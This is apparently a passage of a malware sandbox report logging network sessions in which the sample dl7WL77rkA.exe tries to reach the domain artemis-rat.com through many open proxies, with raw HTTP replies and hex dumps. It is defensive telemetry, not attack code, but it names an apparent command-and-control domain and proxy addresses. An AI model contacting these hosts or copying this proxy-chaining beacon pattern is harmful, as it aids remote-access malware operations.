Mar 11, 2024 03:30:39.126148939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.280499935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.5	50951	46.253.143.144	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.128473997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.5	51043	200.125.184.56	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.129640102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.701693058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.827707052 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.5	50191	194.233.78.142	35513	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.133299112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.201843977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.202414989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.202086926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.201828957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.5	51166	203.30.190.57	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.135915041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.293533087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.5	51164	162.159.242.230	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.141036034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.306814909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.5	51061	184.178.172.28	15294	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.142143965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.5	51186	104.21.102.95	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.145020008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.305057049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.5	51159	159.65.77.168	8585	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.150468111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.326426029 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.5	51216	104.23.100.73	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.183171988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.337867975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.5	51076	72.210.252.134	46164	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.183262110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.5	51008	51.75.125.208	48114	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.183495998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.5	51019	212.118.43.143	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.183631897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.890126944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.5	50975	43.255.113.232	8084	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.183784008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.538110971 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Mon, 11 Mar 2024 05:18:02 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.4 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.5	51049	217.112.80.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184104919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.373616934 CET	857	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:41 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Content-Length: 640 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6d 20 50 48 50 2f 37 2e 34 2e 32 37 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at postmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.5	50126	154.118.228.212	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184107065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.5	51038	51.15.210.79	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184166908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.811101913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.686093092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.990741968 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.5	51227	85.31.234.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184176922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.639225960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.154845953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.170545101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217936993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.358632088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.424065113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.599617958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.811464071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

